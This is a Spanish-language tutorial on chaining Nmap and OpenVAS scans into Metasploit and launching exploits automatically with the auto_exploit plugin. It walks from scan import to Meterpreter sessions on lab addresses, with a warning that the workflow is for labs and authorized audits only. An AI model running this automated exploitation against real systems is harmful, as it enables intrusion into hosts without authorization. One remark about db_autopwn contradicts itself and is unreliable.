Introducción
En un proceso de pentesting, una de las fases más laboriosas es la correlación entre las vulnerabilidades detectadas por un escáner y los exploits disponibles en Metasploit Framework. Hacer esta tarea manualmente para decenas o cientos de hosts y servicios consume un tiempo considerable.
El plugin auto_exploit, desarrollado por Carlos Perez (darkoperator), automatiza este proceso. Se conecta a la base de datos de Metasploit, analiza los resultados de escaneos de vulnerabilidades importados (de OpenVAS, Nessus, Nexpose, etc.) y selecciona automáticamente los módulos de explotación adecuados para cada vulnerabilidad encontrada.
En esta guía integraremos Metasploit Framework con OpenVAS (Open Vulnerability Assessment Scanner) para realizar un flujo completo: escaneo de red con Nmap, análisis de vulnerabilidades con OpenVAS, importación de resultados y explotación automatizada con auto_exploit.
Requisitos previos
Para seguir esta guía necesitamos un entorno de laboratorio con los siguientes componentes:
- Metasploit Framework instalado y funcional (versión 4.x o superior).
- OpenVAS instalado y configurado con al menos un escaneo completo realizado.
- Nmap instalado para el descubrimiento inicial de hosts y servicios.
- PostgreSQL como base de datos de Metasploit (necesario para almacenar hosts, servicios y vulnerabilidades).
- Una o varias máquinas objetivo en un entorno de laboratorio controlado (Metasploitable, DVWA, etc.).
Importante: esta guía está orientada a entornos de laboratorio y auditorías autorizadas. Ejecutar estas herramientas contra sistemas sin autorización explícita es ilegal y puede tener consecuencias penales.
Paso 1: Configurar la base de datos de Metasploit
Metasploit necesita PostgreSQL para almacenar los resultados de escaneos y mantener un registro organizado de hosts, servicios, vulnerabilidades y credenciales encontradas durante el pentesting.
Iniciamos PostgreSQL y arrancamos msfconsole:
# Iniciar PostgreSQL
service postgresql start
# Inicializar la base de datos de Metasploit (solo la primera vez)
msfdb init
# Arrancar Metasploit Framework
msfconsoleUna vez dentro de msfconsole, verificamos que la conexión a la base de datos es correcta:
msf > db_status
[*] postgresql connected to msf3Si el estado muestra postgresql connected, la base de datos está operativa. En caso contrario, revisamos que PostgreSQL esté corriendo y que las credenciales en /opt/metasploit/config/database.yml sean correctas.
Paso 2: Descubrimiento de red con Nmap
Antes de lanzar el escáner de vulnerabilidades, necesitamos un mapa completo de la red objetivo. Utilizamos Nmap directamente desde msfconsole con el comando db_nmap, que almacena automáticamente los resultados en la base de datos:
msf > db_nmap -sV -O -A 192.168.1.0/24Desglose de las opciones:
-sV: detección de versiones de servicios. Identifica el software y la versión exacta que corre en cada puerto abierto.-O: detección del sistema operativo mediante fingerprinting TCP/IP.-A: modo agresivo. Combina detección de OS, versión, scripts NSE y traceroute.
Una vez completado el escaneo, consultamos los resultados almacenados:
# Listar hosts descubiertos
msf > hosts
# Listar servicios encontrados
msf > services
# Filtrar servicios por puerto
msf > services -p 445,139La información de versiones es crucial para la fase posterior de explotación, ya que auto_exploit necesita datos precisos de servicios para correlacionar con los módulos adecuados.
Paso 3: Integrar OpenVAS con Metasploit
OpenVAS es un escáner de vulnerabilidades de código abierto que mantiene una base de datos actualizada de Network Vulnerability Tests (NVTs). Su integración con Metasploit permite importar los resultados del análisis directamente a la base de datos de MSF.
Cargamos el plugin de OpenVAS en msfconsole:
msf > load openvas
[*] Welcome to OpenVAS integration by kost and averagesecurityguy.
[*] Successfully loaded plugin: OpenVASNos conectamos al servicio OpenVAS Manager (OMP). Por defecto, el servicio escucha en el puerto 9390:
msf > openvas_connect admin password localhost 9390 ok
[*] Connecting to OpenVAS instance at localhost:9390...
[*] Connected to OpenVAS.El último parámetro ok indica que aceptamos el certificado SSL autofirmado del servidor. En un entorno de producción, es recomendable verificar el certificado manualmente antes de aceptarlo.
Paso 4: Crear y ejecutar un escaneo de vulnerabilidades
Desde msfconsole podemos gestionar completamente OpenVAS sin necesidad de acceder a su interfaz web. Primero, creamos un objetivo (target):
msf > openvas_target_create "Lab Network" 192.168.1.100 "Servidor objetivo del laboratorio"
[*] Target created: <target-id>Consultamos las configuraciones de escaneo disponibles:
msf > openvas_config_list
ID Name
-- ----
0 Full and fast
1 Full and fast ultimate
2 Full and very deep
3 Full and very deep ultimateLas configuraciones de escaneo determinan la profundidad y velocidad del análisis:
- Full and fast (recomendada): ejecuta todos los NVTs que no sean potencialmente destructivos. Es el mejor equilibrio entre cobertura y velocidad.
- Full and fast ultimate: incluye NVTs que pueden provocar denegación de servicio. Usar solo en entornos de laboratorio.
- Full and very deep: análisis exhaustivo con todos los NVTs no destructivos. Más lento pero más completo.
- Full and very deep ultimate: análisis completo incluyendo NVTs peligrosos. Solo para laboratorio.
Creamos la tarea de escaneo especificando la configuración y el objetivo:
# Crear la tarea: nombre, comentario, config_id, target_id
msf > openvas_task_create "Scan Lab" "Escaneo inicial" 0 5
[*] Task created: <task-id>
# Iniciar el escaneo
msf > openvas_task_start <task-id>
[*] Task started.Podemos monitorizar el progreso del escaneo con:
msf > openvas_task_list
ID Status Progress Name
-- ------ -------- ----
1 Running 45% Scan LabEl escaneo puede tardar entre 15 minutos y varias horas dependiendo del número de hosts, puertos abiertos y la configuración seleccionada. Cuando el progreso muestre -1 o el estado cambie a Done, el análisis ha finalizado.
Paso 5: Importar los resultados a Metasploit
Una vez completado el escaneo, listamos los reportes disponibles y los importamos a la base de datos de Metasploit:
# Listar reportes disponibles
msf > openvas_report_list
ID Task Date Status
-- ---- ---- ------
1 Scan Lab 2013-03-23 14:30 Done
# Importar el reporte a la base de datos de Metasploit
msf > openvas_report_import <report-id> <format-id>
[*] Importing report...
[*] Report imported successfully.También podemos descargar el reporte en diferentes formatos para documentación:
# Listar formatos disponibles
msf > openvas_format_list
# Descargar en formato PDF
msf > openvas_report_download <report-id> <format-id> /tmp/reporte-openvas.pdfTras la importación, verificamos que las vulnerabilidades se han registrado correctamente:
# Listar vulnerabilidades encontradas
msf > vulns
# Filtrar por host específico
msf > vulns -a 192.168.1.100Paso 6: Instalar y usar el plugin auto_exploit
El plugin auto_exploit de darkoperator es el componente que automatiza la correlación entre vulnerabilidades y módulos de explotación. Descargamos e instalamos el plugin:
# Descargar el plugin en el directorio de plugins de Metasploit
cd /opt/metasploit/msf3/plugins/
wget https://raw.githubusercontent.com/darkoperator/Metasploit-Plugins/master/auto_exploit.rbCargamos el plugin en msfconsole:
msf > load auto_exploit
[*] auto_exploit plugin loaded.
[*] Use 'auto_exploit -h' for help.El plugin analiza las vulnerabilidades almacenadas en la base de datos y busca correspondencias con los módulos de exploit disponibles en Metasploit. El proceso de correlación se basa en:
- Referencias CVE: busca módulos que exploten las mismas CVEs detectadas por OpenVAS.
- Información de servicios: filtra módulos compatibles con el servicio y versión identificados.
- Ranking del módulo: prioriza exploits con ranking
excellentogreatpara minimizar el riesgo de causar inestabilidad.
Ejecutamos la explotación automatizada:
# Ver las opciones disponibles
msf > auto_exploit -h
# Ejecutar auto_exploit contra todos los hosts con vulnerabilidades
msf > auto_exploit -e -t 192.168.1.100
# Opciones útiles:
# -e Ejecutar los exploits (sin esta flag solo lista los módulos)
# -t <host> Filtrar por host objetivo
# -r <ranking> Ranking mínimo del exploit (excellent, great, good)
# -p <payload> Payload específico a utilizarCuando se ejecuta sin la flag -e, el plugin muestra un listado de los módulos que utilizaría y los hosts objetivo, permitiendo revisar la estrategia antes de lanzar los exploits. Esta es la práctica recomendada: siempre revisar antes de ejecutar.
Paso 7: Verificar y gestionar las sesiones
Si la explotación tiene éxito, obtendremos una o más sesiones de Meterpreter o shell. Listamos las sesiones activas:
msf > sessions -l
Active sessions
===============
Id Type Connection
-- ---- ----------
1 meterpreter x86/linux 192.168.1.10:4444 -> 192.168.1.100:45678
2 shell 192.168.1.10:4445 -> 192.168.1.100:45679
# Interactuar con una sesión
msf > sessions -i 1
meterpreter > sysinfo
meterpreter > getuidFlujo completo resumido
El proceso completo de explotación automatizada sigue estos pasos:
- Descubrimiento:
db_nmap -sV -O -A <red>— identifica hosts, puertos y versiones. - Carga de OpenVAS:
load openvas+openvas_connect— conecta al escáner. - Escaneo de vulnerabilidades:
openvas_target_create+openvas_task_create+openvas_task_start. - Importación de resultados:
openvas_report_import— transfiere vulnerabilidades a la BD de MSF. - Revisión:
auto_exploit(sin-e) — lista los exploits candidatos. - Explotación:
auto_exploit -e— ejecuta los exploits seleccionados. - Post-explotación:
sessions -i— gestiona las sesiones obtenidas.
Consideraciones importantes
La automatización de exploits es una herramienta poderosa pero que debe usarse con criterio:
- Falsos positivos: OpenVAS (como cualquier escáner) puede reportar vulnerabilidades que realmente no son explotables. El modo de revisión sin
-epermite filtrar estos casos antes de lanzar los exploits. - Estabilidad del objetivo: algunos exploits pueden causar caídas de servicio o inestabilidad. Priorizar siempre módulos con ranking
excellentogreat. - Documentación: registrar cada acción durante el pentesting es fundamental. Metasploit almacena un log de todas las acciones en la base de datos, pero es recomendable complementarlo con notas propias.
- Alcance:
auto_exploitsolo ejecuta exploits contra los hosts y vulnerabilidades que están en la base de datos. Si el escaneo inicial fue limitado, los resultados serán limitados. - Alternativas modernas: en versiones más recientes de Metasploit, el comando
db_autopwnofrece funcionalidad similar. Sin embargo, fue eliminado del core de Metasploit por considerarse demasiado agresivo, lo que hace queauto_exploitsiga siendo una alternativa válida al permitir mayor control sobre el proceso.
:wq!
Comentarios